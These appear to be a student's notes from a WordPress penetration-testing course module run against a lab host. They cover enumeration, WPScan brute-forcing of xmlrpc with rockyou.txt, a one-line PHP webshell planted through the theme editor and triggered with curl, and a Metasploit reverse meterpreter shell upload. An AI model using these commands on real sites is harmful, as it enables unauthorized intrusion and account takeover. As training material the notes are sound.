2. Wordpress

Is a CMS. Very friendly. Attractive for this reason, and SEO optimized. Customizability + extensible nature makes it prone to vulnerabilities.

WP accounts for 32% of all sites on the internet.

Further readings: https://academy.hackthebox.com/course/preview/hacking-wordpress

Wordpress discovery and footprinting

Quick way: /robots.txt

Typical WP robots will look like below;

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml

Presence of wp-admin and wp-content is dead giveaway.

wp-admin dir will send us to the login portal.

Wordpress stores plugin in wp-content/plugins - enumerate vuln plugins. Themes are in wp-content/themes

User roles in WP

Admin typically == RCE. Editors/Authors may have access to plugins that enable RCE

First step in enumeration: Look at page source and grep for WordPress

Very often: Check plugins and themes. In our example we check source code and see plugin mail-masta is installed.

Wordpress may also be configured to disclose usernames

We could create a list of potential usernames through this configuration.

We can gain a wealth of information from manual enumeration.

Automatic wordpress enumeration WPScan

sudo gem install wpscan

--enumerate flag = check plugin/themes/users

sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>

Various passive and active methods used to determine. Threads manipulated using -t Supplemental information can be gained from the tool, validating manual enum. I.E. can also find common usernames. HOWEVER it is not a replacement for manual enum - the tool missed some of the info we gathered from manual enumeration (wpDiscuz plugin for example)

WPscan provides info on known vulns - and contains URLs to PoCs. ![](/img/Pasted image 20250105003623.png)


Module questions:  Enumerate the host and find a flag.txt flag in an accessible directory.


Attacking wordpress

Assumes we've enumerated version and plugins. There's a few ways to leverage built-in functionality for exploitation

WPScan can be used to bruteforce usernames and passwords Two kinds of bruteforces used: xmlrpc and wp-login

wp-lon attempts brute on wp login, xmlrpc uses wp api to make login attempts to /xmlrpc.php

sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

--password-attack flag used to supply kind of attack:


Code execution with admin access to wordpress admin == modify php src code + exec sys commands.

Appearance in admin panel -> Theme Editor can allow us to edit php src code directly. Inactive theme can be selected to avoid corrupting the primary theme. Edit an uncommon page to add a webshell:

system($_GET[0]);
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

wp_admin_shell_upload metasploit module can be used to upload a shell and execute it automatically, with admin creds. Module uploads a malicious plugin and uses it to execute a PHP meterpreter shell.

msf6 > use exploit/unix/webapp/wp_admin_shell_upload 

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.local
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username john
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password firebird1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.14.15 
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.42.195  
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.inlanefreight.local

Note since we're using virtual hosts, make sure you select vhost.

In the above example, the Metasploit module uploaded the wCoUuUPfIO.php file to the /wp-content/plugins directory. Many Metasploit modules (and other tools) attempt to clean up after themselves, but some fail. During an assessment, we would want to make every attempt to clean up this artifact from the client system and, regardless of whether we were able to remove it or not, we should list this artifact in our report appendices.


Leveraging known vulnerabilities.

WP core has suffered from fair share of vulns but vast majority of them can be found in plugins.

Plugins are a large attack vector and the most likely candidate for exploitation.

 We can use the [waybackurls](https://github.com/tomnomnom/waybackurls) tool to look for older versions of a target site using the Wayback Machine. Sometimes we may find a previous version of a WordPress site using a plugin that has a known vulnerability. If the plugin is no longer in use but the developers did not remove it properly, we may still be able to access the directory it is stored in and exploit a flaw.

Example of exploitation via plugins, using MailMasta

https://www.exploit-db.com/exploits/41438 https://www.exploit-db.com/exploits/50226

Examples of unauth SQLi and LFI respectively